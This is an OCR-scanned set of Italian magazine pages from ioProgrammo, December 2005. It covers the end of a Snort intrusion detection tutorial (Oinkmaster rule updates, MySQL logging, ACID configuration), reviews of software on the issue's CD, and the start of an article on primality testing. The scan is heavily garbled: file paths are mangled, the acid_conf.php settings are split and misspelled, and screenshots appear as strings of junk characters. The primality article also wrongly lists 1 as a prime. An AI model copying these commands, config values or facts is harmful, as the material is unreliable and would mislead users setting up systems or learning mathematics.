traffico ostile e indesiderato. Si consiglia di attivare 
solo i "preprocessors" e le regole ritenute necessarie 
nel proprio ambiente, quindi commentate con "#" 
tutte le "include" pei servizi non esistenti. Attenzio- 
ne anche all'attivazione dei moduli (preprocessors) 
necessari sui quali potete informarvi nella sezione 
"Architettura" di questo articolo e negli ottimi READ- 
ME in lusrlshareldoclsnort-<versione>. Per ultimo in- 
serite le vostre locali regole nel file letclsnortllocal 
.rules con la certezza che non saranno mai sovrap- 
poste dagli aggiornamenti automatici. Prima di atti- 
vare snort con classico "letclinit.d /snort start" ci 
dobbiamo scaricare gli ultimissimi aggiornamenti 
delle regole dal repository www.snort.org. Per otte- 
nerle è necessario registrarsi al sito e richiedere lo 
"Oink Code" attraverso la pagina per la visualizzazio- 
ne e modifica delle opzioni dell'utente. Le istruzioni 
sono li spiegate e sono semplicissime. Una volta ot- 



► 102 /Dicembre 2005 



Un NIDS Open Source con Snort 



T CORSI BASE 



tenuto lo Oink Code si deve inserire nel file letcloink- 
master.conf una riga che serve ad indirizzare pro- 
gramma allo URL per il download e ad ottenerne 
l'accesso: 

uri = http://www.snort.org/pub-bin/oinkmaster.cgi 

/<oinkcode>/snortrules-snapshot-2.4.tar.gz 

Fatto questo si procede con l'effettuare gli aggiorna- 
menti delle regole. Controllare dove risiedono esat- 
tamente i vostri files *.rules (directory /etc/ snort 
oppure /etc/snort/rules) e modificare di conseguenza 
il prossimo comando che si consiglia di inserire in 
"crontab" per l'attivazione automatica ogni 24 ore. 

# /usr/bin/oinkmaster.pl -i -o /etc/snort/rules 

A questo punto Snort può essere attivato. Control- 
late in /var/log/messages i messaggi relativi all'opera- 
zione per assicurarvi che sia presente un messaggio 
simile a "Snort initialization compieteci successfully 
(pid=<snortd pid>)", altrimenti identificate la riga 
che spiega perché è impossibile inizializzare il siste- 
ma e rimuovete la condizione che solitamente risul- 
ta essere qualche tipo di errore di configurazione su 
letclsnortlsnort.conf 'oppure qualche cattivo set delle 
tabelle in MySQL. Dopo un po' di tempo potete con- 
trollare la eventuale presenza di registrazioni sul 
database snort Jog così da assicurarvi che questo 
viene correttamente alimentato: 

# echo "SELECT count(*) FROM event" | mysql 

snortjog -u root -p 

Verrà mostrato il numero di messaggi registrati nel 
database. Se questo numero è zero attendete ancora 
perché vi posso assicurare che siete sempre sotto 
attacco per il semplice motivo di essere collegati ad 
Internet. La mia rete domestica registra non meno di 
40 scans e tentativi di attacco vari per ogni giorno di 
collegamento. Se siete impazienti collegatevi ad uno 
di quei siti che offrono il servizio di lanciarvi contro 
varie prove di riconoscimento con port scanners e 
vulnerability scanners. 



ACID 

Se siete arrivati fino a qui vuole dire che Snort fun- 
ziona e aggiunge regolarmente i suoi logs sul data- 
base. Di seguito ci occuperemo degli ultimi passi per 
visualizzare tali messaggi in forma grafica con Acid. 
Questo tool consente di lanciare potenti queries al 
database combinando facilmente diversi parametri 
di ricerca come protocollo, data, sorgente, de- 
stinazione, frequenza e molti altri. Ancora permette 
di rintracciare sui databases CVE, Snort e Bugtraq le 
informazioni dettagliate sul tipo di traffico ostile 



rilevato. Tra l'altro, Acid ci offre la possibilità di sele- 
zionare per archiviare e/o cancellare i messaggi che 
ad un certo punto non dovessero più interessarci. 
Tutto sommato quindi consiglio l'attivazione di 
Acid anche a chi gestirà i logs di Snort con altri tools. 
Per proseguire ci si aspetta che i files di Acid si trovi- 
no già nella directory radice dei documenti html di 
Apache2 e che sia rimossa da letclmysql /my.cnf [su 
altre distribuzioni cercate comunque il file principa- 
le della configurazione di Apache2) la direttiva "skip- 
innodb". Editate il file l<radice_documenti_http> 
I acidi acid _conf .php come segue. 




$DBIib_path = "/usr/lib/php/ad 


3db/"; 






$DBtype = "mysql"; 


$alert_dbname = 


"snort"; 








$alert_host = " 


ocalhost"; 








$alert_port = ""; 


$alert_user = " 


snort"; 








$alert_password = 


"<database_ 


_snort_ 


_password"; 


$archive_dbname 


= "snort_archìve" 






$archive_host 


"localhost"; 








$archive_port = ""; 


$archive_user 


"snort"; 








$archive_password 


= "database 


_snort 


_log_ 


_password"; 


$ChartLib_path = 


/usr/lib/php/jpgraph"; 





La inclusione e/o modifica delle altre direttive sono 
lasciate alle vostre personali esigenze. Consiglio di 
controllare in particolare l'opzione "$external_sig_ 
link" che contenendo gli URL dei repositories delle 
firme sui databases di Snort, Bugtraq, CVE ed altri è 
di solito da aggiornare in quanto è quasi sicuro che i 
links non sono allineati alla corrente disposizione 
dei siti. Per fare questo basta che appena Acid è fun- 
zionante puntate su una qualsiasi riga che descrive 
un alert e tentate di ottenere le informazioni detta- 
gliate sul tipo di attacco dai suddetti siti. Se venite 
direzionati su una pagina non esistente o diversa da 
quella cercata è sufficiente navigare il sito alla ricer- 
ca della pagina di entrata a ciascun servizio e poi ri- 
copiare sul file di configurazione l'esatto link stando 
bene attenti a preservare il formato dell'opzione. 
Avviate Acid per la prima volta aprendo con un 
browser http:lllocalhostlacid_main.php, quindi 
cliccate su "Setup page" che vi porterà sulla pagina 
di setup del database. Per finire premete il tasto 
"Create Acid DB". Avete finito la costruzione dell'in- 
tero sistema. 



CONCLUSIONI 

Non vi rimane che fare ripartire nell'ordine MySQL, 
Snort e Apache2, poi aprire un browser e collegarvi 
alla pagina httpMocalhost/acid per fare le queries, 
visualizzare i grafici e navigare tra gli alerts di Snort. 

Fabio De Francesco 



SOFTWARE SUL CD T ■ Librerie e Tool di sviluppo 



SUL CD 



fm www.ioprogrammo.it 
ROGRAMMO n 97 



FILEMAKER 8 



■ C4+TEMPLATEIMAGE\ 
PROCESSING LIBRARY 

■ DOT LUCENE 1 

■ REFLECTOR4.0 
::|RONP¥THON0.6 



ASPECT C++ 0.9.3 

Programmare ad "Aspetti" anche 
con C++ 

Nei numeri scorsi di ioProgrammo ci 
siamo occupati di un nuovo paradigma 
di programmazione: "AspectJ", mostran- 
do in Java una tecnica per programma- 
re utilizzando questa nuova tecnologia. 
Molto brevemente programmare ad 
"Aspetti" significa definire dei "joint- 
points" ovvero dei punti in cui il norma- 
le flusso dell'esecuzione del codice 
viene interrotto e trasferito allo spezzo- 
ne di codice puntato dal jointpoint. Si 
tratta di una tecnica complessa ma 
molto innovativa che sta conquistando 
molto velocemente i favori di un largo 
numero di programmatori. Fin qui la 
programmazione ad "Aspetti" sembrava 
essere una peculiarità di Java, vi presen- 
tiamo oggi un tool con cui la stessa 
identica tecnica viene resa possibile 
anche in C++ con tutti i vantaggi del 
caso. 
Directory: /aspectc 

DOT LUCENE 1.4.3 

Il cercatutto 

Di Dot Lucene ce ne parla approfondita- 
mente Michele Locuratolo in un artico- 
lo presentato in questo stesso numero 
di ioProgrammo. Diciamo subito che si 
tratta di una libreria eccezionale il cui 
compito è consentire di creare dei 
software per la catalogazione e la ricerca 
delle informazioni su un hard disk. Si 
tratta di un progetto molto interessante 
perché la sua velocità nell'indicizzazio- 
ne delle informazioni così come la sua 
rapidità nella ricerca ne hanno fatto una 
delle librerie centro di tool piuttosto 
innovativi come ad esempio Beagle. 
DotLucene per la verità è il porting in 
ambiente .NET della libreria Lucene svi- 
luppata da Apache e disponibile anche 



per Java nei progetti Jakarta di Apache. 
Nella directory oltre al codice sorgente 
della libreria, trovate molti esempi, un 
plugin che consente di conservare gli 
indici in database Firebird e l'analyzer 
per la lingua italiana. Decisamente inte- 
ressante. 
Directory: /dotlucene 

ITEXT 1.3.1 

Il pdf è fatto 

iText è una libreria OpenSource scritta 
in Java che consente di dotare le nostre 
applicazioni di funzionalità di esporta- 
zione verso il formato PDF. Si tratta di 
una libreria decisamente importante 
tanto che gli dedichiamo un articolo in 
questo stesso numero di ioProgrammo. 
Il PDF è un formato universale che 
garantisce una grande precisione nella 
stampa e una portabilità senza prece- 
denti. Il poter creare documenti in for- 
mato PDF da una nostra applicazione 
sicuramente ne innalza il valore. D'altra 
parte itext non solo gestisce la mera 
esportazione dei dati in formato PDF 
ma dispone di funzionalità specifiche 
per crittografare o firmare digitalmente i 
documenti così creati, si tratta perciò di 
una libreria particolarmente interessan- 
te che risolve una volta per tutte il pro- 
blema della generazione di report o di 
stampe sofisticate. In questo numero vi 
presentiamo la libreria nella sua forma 
originaria pronta per poter essere inse- 
rita in applicazioni Java, ma anche il 
porting verso .NET per poterla utilizzare 
in applicazioni C# o Visual Basic. 
Directory: /iText 

JGAP 2.4 

La libreria per gli algoritmi 
genetici 

Ce ne parla approfonditamente Andrea 
Galeazzi , nell'articolo "Dna di un com- 



messo viaggiatore". Gli algoritmi geneti- 
ci rappresentano un campo in continua 
evoluzione. Si tratta di una metodologia 
che consente di sviluppare soluzioni 
evolutive sulla base di combinazioni 
cromosomiche. La realtà è meno com- 
plessa delle parole utilizzate per descri- 
verla, sostanzialmente si parte da una 
popolazione di soluzioni che vengono 
rimescolate simulando l'evoluzione del 
patrimonio genetico, dal nuovo nucleo 
di soluzioni si estrapolano quelle 
migliorative delle precedenti e si conti- 
nua così fino alla completa risoluzione 
del problema. jGap è una libreria Java 
che mette a disposizione diverse primi- 
tive proprio per la gestione degli algorit- 
mi genetici, che ormai trovano applica- 
zione in più di un settore. 
Directory /jGap 

IROMPYTHOni 0.6 

Python per .NET 

Python è uno dei linguaggi che maggior- 
mente si sta affermando negli ultimi 
tempi. Elegante, modulare, a oggetti, 
potente ha tutte le carte in regola per 
diventare un caso di successo nel 
campo dello sviluppo. IronPython è la 
versione .NET del linguaggio. Potete 
semplicemente programmare in Python 
e poi ottenere un codice eseguibile 
compilato con .NET alla stessa stregua 
di C#o Visual Basic. I vantaggi sono 
ovviamente innegabili. 
Directory: /ironpython 

SIMORT 2.4.3 

Il guardiano perfetto 

Ce ne parla approfonditamente in que- 
sto stesso numero di ioProgrammo 
Fabio De Francesco. Snort è un IDS, un 
sistema di rilevamento delle intrusioni. 
Analizza tutto il traffico che passa per la 
vostra scheda di rete, anche quello non 



► 104 /Dicembre 2005 



http://www.ioprogrammo.it 



Librerie e Tool di sviluppo ■ T SOFTWARE SUL CD 



direttamente diretto a voi ma presente 
comunque sulla Lan. Il traffico viene 
confrontato con delle "regole" e se qual- 
che pacchetto viene rilevato come 
potenzialmente dannoso, immediata- 
mente viene lanciato un alert. 
Si tratta di un software indispensabile 
per controllare il traffico di rete della 
propria lan ma anche per tenere sotto 
controllo eventuali tentativi d'attacco al 
proprio host 
Directory: /Snort 

XOOPS 2.2.2 

Il re è tornato 

Era da qualche tempo che non avevamo 
più notizie di Xoops, per lungo tempo 
dominatore incontrastato della folta 
schiera di CMS presenti come software 
OpenSource in rete. Con questa nuova 
versione Xoops si presenta più agguerri- 
to che mai, pronto a difendere il suo pri- 
mato. I punti di forza sono sempre gli 
stessi, alta modularità, grandi temi gra- 
fici, integrazione con PHP e MySQL, per 
un CMS sempre sulla cresta dell'onda. 
Directory: /xoops 

AWSTATS 6.4 

Statistiche sempre aggiornate 

Awstats è un'applicazione scritta in Perl 
che negli ultimi anni ha conquistato una 
larga fetta del mercato dei software di 
reportistica per le statistiche dei siti 
web. La sua diffusione è ormai tale che 
recentemente si è anche esposta a una 



O W.~.. n._. ,., 


... tt * ? , a 






» .:—-.,. 












*-+-»oe> 


„„ : ,.,..^..,-.„.rt,,.-..,. 


.„,:,!, 




jo»B 




cu» H 




'!£t ^'ù™«™ip*. 




eri Fuma i.stM 


H2. 


.""Hp, 














«JS» 








1 


ZASAS* 


SSSiiKSS 




■:. : 


HI 




















~ 











serie di attacchi da parte di pirati che ne 
hanno individuato diversi Bug. La ver- 
sione che vi presentiamo è l'ultima rila- 
sciata in ordine di tempo e dovrebbe 
proprio correggere i bug che avevano 
reso le precedenti versioni vulnerabili. 
Da un punto di vista strettamente fun- 
zionale, Awstats analizza i log di un 
qualsiasiWeb Server e genera delle pagi- 
ne di statistiche molto complesse, di 
livello decisamente professionale. La 



cosa interessante di AwStats è che con- 
serva lo storico, è molto leggero, le stati- 
stiche possono essere generate su 
richiesta e non richiede particolari dota- 
zioni software eccetto un'installazione 
di Perl per poter essere usato. 
Directory: /awstats 

JOOMLA 1.0.3 

L'erede di Mambo 

Molti di voi conosceranno Mambo, si 
tratta di uno dei CMS più utilizzati in 
rete. A costruire il successo di Mambo è 
stata la sua alta modularizzazione, la 
capacità di consentire agli utenti di per- 
sonalizzare il sistema con poche, rapide 
operazioni, la completezza del sistema. 




Peccato che recentemente gli sviluppa- 
tori di Mambo si siano trovati n disac- 
cordo con le scelte di Mirò la software 



house che ha prodotto il software fino 
ad ora. Così molti di loro hanno abban- 
donato Mirò e hanno dato vita a Joomla 
l'erede di Mambo. Basato sul suo stesso 
codice ma con la promessa di essere 
OpenSource ora come nelle future ver- 
sioni. 
Directory: /joomla 

EASY PHP 1.8 

Per installare PHP facilmente 

Alcuni di voi leggendo la nostra rivista 
oppure andando a spasso per il Web 
avranno trovato in PHP un linguaggio 
piuttosto efficiente per la gestione delle 
Internet Application. Allo stesso modo, 
la prima difficoltà nell'approcciare que- 
sto linguaggio consiste nell'installare un 
ambiente completo all'interno del quale 
compiere i vari esperimenti. Per lavora- 
re con PHP avete bisogno senza dubbio 
di un server Web e opzionalmente di 
MySQL. In generale l'installazione di 
questi tre componenti non comporta 
difficoltà elevate per un sistemista, ma 
rappresenta senza dubbio una perdita 
di tempo per un programmatore. Easy 
PHP è un tool di installazione rapida. 
Con pochi click di mouse vi troverete 
installato sul sistema un completo am- 
biente Web all'interno del quale fare 



C++ Tempiale Ima gè 
Processing Library 



Il toolkit per l'image processing in C++ 



vi accorgerete di quali e 
quanti effetti dinamici o 
statici è possibile appli- 
care ad un'immagine uti- 
lizzando questo toolkit. 
Oltre alla completezza 
della libreria è importante 
notare come l'eseguibi- 
le risultante sia piutto- 
sto veloce. Altra caratte- 
ristiche che rende la Tem- 
plate Image Processing 
Library un tool decisa- 
mente importante è la 
sua alta portabilità. Svi- 
luppare applicazioni in 
C++ per Unix, Windows, 




Clmg è una libreria 
Open Source per C++ 
che consente di gestire 
le immagini in modo sem- 
plice e piuttosto veloce. Se 
avrete modo di provare 
qualcuno degli esempi 
contenuti nel pacchetto. 



MacOS X o FreeBSD non 
dovrebbe comportare nes- 
suna differenza nel codi- 
ce, se il tutto è sviluppa- 
to secondo i dettami del- 
la Clmg. Anche l'uso è 
piuttosto semplice, di fat- 
to si tratta di un unico fi- 
le di Header: Clmg.h che 
deve essere incluso nel 
codice sorgente dell'ap- 
plicazione. Ulteriori fun- 
zionalità dipendono dal- 
la presenza di librerie ag- 
giuntive quali ImageMa- 
gick, libpng o libjepg. 

Directory: / cimg 



http://www.ioprogrammo.it 



Dicembre 2005/ 105 ► 



SOFTWARE SUL CD T 



Librerie e Tool di sviluppo 



girare le applicazioni PHP anche con 
supporto a MySQL, sicuramente un 
grande aiuto per coloro che non inten- 
dono perdere tempo in configurazioni 
di sistema. 
Directory: /Easyphp 

DEV C++ 4 

L'IDE per i programmatori C++ 

Se siete dei programmatori C++ sicura- 
mente avrete avuto modo di conoscere 
Dev C++. Si tratta di un IDE ormai diffu- 
sissimo completamente OpenSource a 
cui noi di ioProgrammo facciamo spes- 
so riferimento quando si tratta di descri- 
vere progetti sviluppati in C++. 



per alcuni tipi di applicazioni non è 
certo un mostro 





-= a 


®@ UPB>! 


,C" 


3||<d<il« D 






a08 Ba»p | 






-§=: 


"""■'^n^MHn, □((«,! 




CBa n 


™! 1 n m.i." i "'"' at " , " LaBS ' 


_ 


■zti^n 


-""--■""— 
















g@ Cmpte, | % R„,..„, -, |J r , , il- , :y Deb™ |[7„ =i„ IR t „„, | ET -,.,,- 


1 ,,:c ,.'a:h PS Ezii -aich ': = e -ro-~ s : ; - -:': e b.i: flW<- =t=[ — il- nei 


^"^"aire ^^^^^L±l Ipnmfl 




II 


Jl 


:i:25 I- !S ,: S? .in» r <ie 



Le sue caratteristiche essenziali sono 
note: sintax highlighting, code com- 
plexion, estrema leggerezza, modula- 
rità, capacità di compilare utilizzando 
MingGW oppure il compilatore C++ di 
Microsoft a seconda di come viene 
impostato l'ambiente. Ne esistono ver- 
sioni customizzate per lavorare in modo 
RAD per esempio con le WXWidgets 
Directory:/ devepp 

ECLIPSE 3.1 

L'editor tutto fare 

Cento MB, questa è la dimensione rag- 
giunta ormai dal mitico ambiente tutto- 
fare che sta facendo il bello e il brutto 
tempo fra i programmatori Java. Non 
che la dimensione sia sempre sinonimo 
di qualità anzi spesso non lo è, ma nel 
caso di Eclipse si può tranquillamente 
fare un'eccezione. Questo IDE orientato 
alla programmazione Java, ma comple- 
tamente estensibile per mezzo di plugin 
per essere utilizzato con quasi ogni lin- 
guaggio esistente esporta un numero 
talmente elevato di caratteristiche che 
l'occupazione dello spazio sull'Hard 
Disk è pienamente giustificata. Meno 
giustificata è una certa pesantezza del- 
l'ambiente, se non per il fatto che il tool 
stesso è scritto in Java che notoriamente 




di velocità. In ogni caso se avete un 
sistema sufficientemente dotato in ter- 
mini di risorse sicuramente Eclipse è un 
ambiente che vi toglie le castagne dal 
fuoco in più di una situazione. Per 
numero di funzionalità si può parago- 
nare a quello che è stato Emacs in tempi 
non troppo lontani. 
Directory: /Eclipse 

JAVA 

DEVELOPMENT KIT 
1.5.0 UPGRADE 5 

Indispensabile per programmare 
in Java. 

Ci corre l'obbligo, prima di tutto, di fare 
i nostri migliori auguri a java che ha 
appena compiuto 10 anni di vita. Il lin- 
guaggio di Sun nato con l'ambizione di 
essere il primo realmente multipiat- 
taforma e che portava con se la grande 
ambizione di servire qualunque tipo di 
periferica, dopo 10 anni di esistenza 
può dire di avere largamente realizzato i 
suoi obiettivi. Con una base di program- 
matori larghissima e con il primato invi- 
diabile di essere il linguaggio base per i 
telefonini di nuova generazione come 
per i PC come per i sistemi embedded è 
ad oggi uno dei linguaggi più diffusi al 
mondo. Per programmare in Java è 
necessario semplicemente dotarsi del 
J2SE che vi presentiamo in questo stesso 
numero, tutto il resto sono AddON, 
anche se non neghiamo che un buon 
editor aiuta. Non vi resta che installare il 
JDK dotarvi di entusiasmo e pazienza e 
creare il vostro primo "Hello Word" carta 
di ingresso del meraviglioso mondo di 
Java. 
Directory: /JDK1 50 

PHP 5 

Il linguaggio di internet 

Se seguite ioProgrammo o più semplice- 
mente siete dei programmatori Web, o 
ancora molto più semplicemente navi- 



gate su Internet, non potete non sapere 
che cosa è PHP. Si tratta del linguaggio 
con il quale sono sviluppate la maggior 
parte delle applicazioni internet esi- 
stenti. Quasi tutto il software per il web 
si regge su PHP. La curva di apprendi- 
mento è bassissima, le funzionalità 
esposte elevatissime, certamente se 
avete intenzione di sviluppare per il web 
non potrete fare a meno di provare an- 
che questo linguaggio come base per le 
vostre applicazione 
Directory: /PHP 

SHARPDEVELOP 
1.1.10 

L'alternativa a Visual Studio 

Se siete programmatori C# ma non vole- 
te utilizzare i costosi ambienti di Micro- 
soft, SharpDevelop si rivela un'ottima 
alternativa. 





; ì? U H K Ps _ , x 19 v* >j jf a? : . . ■- 


'-.-',-■ m m ► ® 






e™,™ — ' 


_ !|!! ^™_j 




Wn *'" m1a ""'^" h= "' 


_ m 




" Sr* 
















' 






cU -In, Z3 
B^.™nd]™_| ! 






A Late! 
B Ma,*", 

^saupta 
Data 


Bf 


s= 


\& Propani 




te**. | 


_.j>» ~: i _ J Fii s lr„| 


5»™ | Dasoi | 


SldB Output 


n " Jj 


,„E 


-'- -■■- 


1» 



Si stratta di un ambiente leggero, visua- 
le, rad dotato di tutte o quasi tutte le 
facilities di ambienti molto più costosi, 
ma dotato dell'interessante caratteristi- 
ca di essere Free e privo di costi. Se cre- 
dete che questo possa essere sinonimo 
di scarsa affidabilità sappiate che state 
commettendo un grave errore, Sharp- 
Develop è decisamente un ambiente 
professionale, ben studiato e progettato, 
inoltre il team di sviluppo è particolar- 
mente attivo. 
Directory: /Csharp 

IRRLICHT 0.9 

La libreria per lo sviluppo rapido 
di VideoGames 

Ad irrlicht dedichiamo costantemente 
spazio sulla nostra testata. Si tratta di 
una libreria veramente molto efficace 
per lo sviluppo di videogiochi. Consente 
di accedere facilmente a funzionalità 
per la gestione del 3D, per l'implemen- 
tazione dei parametri d'animazione, per 
l'applicazione delle texture, per la gene- 
razione di effetti complessi. 



► 106 /Dicembre 2005 



http://www.ioprogrammo.it 



Librerie e Tool di sviluppo ■ T SOFTWARE SUL CD 




Si tratta insomma di una libreria decisa- 
mente utile per chi vuole iniziare a pro- 
grammare da zero i propri videogiochi 
come per chi invece ha bisogno di fun- 
zionalità particolarmente avanzate. 
Quella che vi presentiamo è la versione 
0.9, rilasciata da appena un mese e già ai 
vertici per quanto riguarda la diffusione 
Directory: /irrlicht 

HSQL DB 1.8.0 

Il database dal peso piuma 

Ne facciamo uso nel bell'articolo di Da- 
niele de Michelis su Pbeans presente in 
questo stesso numero di ioProgrammo. 
Si tratta di un database interamente 
scritto in Java la cui caratteristica princi- 
pale è quella di essere estremamente 
leggero, oltre che multipiattaforma. Se 
avrete la pazienza di leggere l'articolo su 
Pbeans scoprirete come HSQL DB sia 
stato sapientemente utilizzato come 
Storage di persistenza, offrendo ad 
un'applicazione java un supporto incre- 
dibilmente omogeneo alle caratteristi- 
che del linguaggio 
Directory: /HSQLDB 

PHPMYADMIN 2.6.4 

L'interfaccia web per la gestione 
di Mysql 

PHPMyAdmin è un software decisa- 
mente particolare. Si tratta di una web 
application fra le più diffuse al mondo, 
eppure il suo scopo è quello di essere un 
frontend verso MySQL. Ora, di frontend 
verso MySQL ne esistono veramente 
molti, alcuni dei quali sono delle nor- 
mali applicazioni standalone, allora 
perché una web application dovrebbe 
risultare migliore di un'interfaccia stan- 
dalone? La risposta è semplice: PHP- 
MyAdmin è il migliore, assolutamente il 
più completo e intuitivo da utilizzare, 
inoltre supporta pienamente tutte le 
funzionalità più avanzate di MySQL e il 
suo sviluppo va di pari passo a quello 



del DB. Un grande software dunque, che 
vale la pena usare soprattutto installato 
in ambienti di hosting la dove accessi 
diversi da localhost spesso non sono 
consentiti dal gestore del servizio 
Directory: /PhpMyAdmin 

FIREBIRD 1.5.2.4 

L'araba Fenice dei database 

Firebird è un server di database nato dal 
codice sorgente di Interbase rilasciato 
da Imprise Corporation nel 200 prima di 
tornare ad essere Borland. È una storia 
un po' complicata, quello che è impor- 
tante sapere è che si tratta di un databa- 
se molto affidabile nato da codice che 
tuttora sta alla base di Borland Interbase 
e che presentiamo in questo stesso nu- 
mero, con in più l'importante vantaggio 
di essere completamente free e perciò 
gratuito. 

Dal punto di vista delle caratteristiche 
tecniche, il database gira correttamente 
sia su Linux che su Windows, offre una 
compatibilità quasi completa con 
l'ANSI SQL-99ed ha prestazioni che lo 
rendono particolarmente appetibile per 
quanti hanno bisogno di un database 
leggero, potente, affidabile e gratuito. 
Directory: /FireBird 

POLARIS.NET 

Database sotto controllo 

Si tratta di un ottimo prodotto commer- 
cializzato da Miracle Soft. Lo scopo è 
duplice, prima di tutto viene utilizzato 
per creare ogni tipo di reportistica/ stati- 
stica sui database, previa la conoscenza 
della base di dati, in secondo luogo può 
essere utilizzato anche per l'interroga- 
zione dei database. 



„ POlARI5.ru 



ry: 



È inoltre possibile collegare Polaris.NET 
a un gestionale utilizzando un comodo 
Wizard. Polaris.NET è uno di quei soft- 
ware che risultano indispensabili per la 
creazione di progetti ottimizzati. Non se 
ne può fare a meno quando il vostro 
software comincia ad assumere propor- 
zioni tali che un controllo completa- 



mente manuale diventa impossibile ed 
in alcuni casi controproducente. Così 
Polaris.NET con la sua capacità di crea- 
re grafici statistici anche complessi in 
relazione ad ogni tipo di base di dati 
diventa una comodità indispensabile. 
Directory: / A Polaris 

FIREBIRD.NET 
PROVIDER 

Per usare Firebird in .NET 

Chi lo dice che i progetti OpenSource 
prolificano in ambiente Linux e trala- 
sciano l'ambiente Windows? Firebird 
non ha affatto dimenticato i program- 
matori Microsoft ed ha sviluppato que- 
sto .NET Provider che mette in grado chi 
usa Visual Basic, C# e qualunque altro 
linguaggio sotto il cappello del fra- 
mework .NET di sviluppare applicazioni 
che sfruttino in maniera nativa e perciò 
con prestazioni ottimali il database 
Firebird. 
Directory: /Firebird Net Provider 

MYSQL 4.1.1.2 

Lo scheletro di internet 

Così tanti sono i progetti su internet che 
fanno capo a MySQL che si può tran- 
quillamente dire che MySQL è una delle 
strutture portanti del Web. Nato come 
DB ultraleggero per servire progetti di 
piccole dimensioni si è evoluto nel tem- 
po fino a diventare uno dei database 
con il maggior numero di funzionalità 
esposte. Si va dalla ricerca full text al 
supporto alle transazioni senza per que- 
sto dimenticare la leggerezza del siste- 
ma. MySQL è estremamente semplice 
da usare e al contempo estremamente 
potente e questo ne fa uno dei server di 
database più usati al mondo. 
Qualcuno ancora lo taccia di non essere 
sufficientemente professionale da reg- 
gere il confronto con i DB commerciali 
più costosi, noi non siamo fra questi.. 
MySQL è del tutto paragonabile a server 
di DB del costo di svariate migliaia di 
euro e in molti casi prevale in prestazio- 
ni e affidabilità 
Directory: /MySQL 

PHP MODEL VIEW 
CONTROLLER 

Il framework per implementare 
MVC 

Il Model View Controller è uno dei pat- 
tern di programmazione che più si sta 



http://www.ioprogrammo.it 



Dicembre 2005/ 107 ► 



SOFTWARE SUL CD T Librerie e Tool di sviluppo 



diffondendo nel mondo degli sviluppa- 
tori. Si tratta di un pattern solido, im- 
portante, in grado di supportare la pro- 
gettazioni di applicazioni facilmente 
manutenibili. 




L'intera descrizione del pattern merite- 
rebbe più di un articolo, ma in due paro- 
le possiamo sintetizzare che si tratta di 
uno schema che divide le classi di con- 
trollo del codice in tre categorie fonda- 
mentali, una che descrive il modello, 
una che gestisce l'output, una che con- 
trolla il flusso d'esecuzione del pro- 
gramma. Utilizzando questo tipo di pat- 
tern si riesce a snellire di molto il con- 
trollo su codice di grandi dimensioni. Il 
framework che vi presentiamo è proprio 
un'implementazione deil'MVC per PHP 
Directory: /PHP/PHPMvc 



LUKE 

L'editor di indici di Lucene 

In questo numero di ioProgrammo par- 
liamo di Lucene, la libreria che consen- 
te di creare facilmente un motore di 
ricerca per i vostri software. Leggendo 
l'articolo scoprirete che la prima azione 
da compiere quando si tenta di ricerca- 
re qualcosa all'interno dell'archivio è 
consultare l'indice del materiale dispo- 
nibile. Ovviamente questo indice deve 
anche essere creato. Luke è un editor 
scritto in Java per gli indici creati da Lu- 
cene, molto comodo per manovrarli, 
spostarli, editarne le voci e molto altro 
ancora. Inoltre la sua natura multipiat- 
taforma lo rende idoneo sia per Lucene 
che per DotLucene 
Directory: /Luke 

REFLECTOR 

Il tool per sfruttare la reflection 
di .NET 

Chi ci segue da tempo avrà sicuramente 
nozione di cosa sia la reflection in .NET. 
Sostanzialmente si tratta di una tecnica 
che consente di "disassemblare" il codi- 
ce compilato di un software scritto in 



.NET e risalire alla descrizione dei meto- 
di e delle classi che compongono l'ap- 
plicazione. 



• 



•:• 



In realtà la reflection è una tecnica piut- 
tosto complessa che fa molto di più di 
quanto abbiamo esposto, tuttavia il 
concetto riassume brevemente una par- 
te delle funzionalità. Reflector è appun- 
to un tool che tramite la reflection 
scompone un eseguibile e vi restituisce 
le classi base. In questo articolo ne fac- 
ciamo uso nell'articolo di Michele Locu- 
ratolo su Lucene. Anche nell'articolo 
sull'architettura ADO l'abbiamo trovato 
molto utile per reperire le classi che 
componono l'intero progetto. Un utility 
quasi indispensabile. 
Directory: /Reflector 



FILEMAKER 8 

L'ultima release di uno dei DB più usati al mondo 



Filemaker in realtà è molto di 
più di un database, si tratta 
di un intero ambiente dedicato 
alla produttività con un backend 
di database. In sostanza con Fi- 
lemaker non avete bisogno di 
costruire software aggiuntivo 



per la gestione dei dati. Diret- 
tamente dall'ambiente sarete in 
grado di costruire Form , Report, 
Procedure complesse che ser- 
vono per gestire il vostro Business. 
Oltre ad essere velocissimo, Fi- 
lemaker è dunque molto como- 



do e rappresenta la soluzione 
ideale per chi necessita di co- 
struire applicazioni di database 
senza perdersi nei meandri del 
codice. Nonostante questo, i pro- 
grammatori esperti troveranno 
molto comoda la possibilità di 



creare proprie applicazioni per- 
sonalizzate usufruendo delle ca- 
ratteristiche avanzate di File- 
Maker 8. Filemaker risulta utile 
in tutte le applicazioni che in un 
qualche modo gestiscono una 
base di dati. 



FILEMAKER 8 IN 3 PASSI 

Una completa applicazione per la gestione di u n catalogo prodotti in 30 secondi 



> SALVA IL FILE 



> IL GIOCO E FATTO 



^^ì^sp^^^^™ 


- 


■SQE- 


3T 

& ***** 






•II - i 


M ~~* l""-™ 







v Si Catalogo prodotto 



Seleziona dal wizard il progetto che 
I ti interessa 



Scegli la posizione dove intendi sal- 
vare il file 



In meno di mezzo minuto l'applica- 
zione completa è pronta 



► 108 /Dicembre 2005 



http://www.ioprogrammo.it 



SOLUZIONI T I Analisi dei numeri e metodi di crittografia 



Test di primalità 

Verificare se un numero è primo, è un problema fondamentale. 

È noto come algoritmi di crittografia a chiave pubblica, del tipo RSA, 

si fondino sulla scelta di numeri primi di grandissime dimensioni. 





I '-'■"-" "-d I " "-"fi |j^J '"""""' '- 



Tempo di realizzazione 



Ciò che è possibile fare con i numeri e con le 
relative proprietà elementari è qualcosa di 
straordinario. Prendiamo i numeri primi. La 
definizione è immediata. "Un numero è primo se ha 
come divisori solo se stesso e uno". Sono conosciuti 
i primi numeri primi, scusate il gioco di parole, ovve- 
ro i più piccoli numeri primi. I primi tre numeri 
naturali: 1, 2 e 3 sono primi, 2 è l'unico numero pari 
primo; poi si salta il 4 che oltre a se stesso eie divi- 
sibile per 2 e si scopre che anche il 5 è primo. Il suc- 
cessivo è 7 ed successivo ancora risulta 11. In 
sequenza ancora abbiamo 13, 17, 19 e 23 e così si 
prosegue. Gauss, uno dei più grandi matematici 
della storia, aveva intuito che questo semplice quan- 
to interessante problema è di cruciale importanza, 
tanto che si era spinto nell'affermazione che la 
scienza per evolversi deve prima rispondere a pro- 
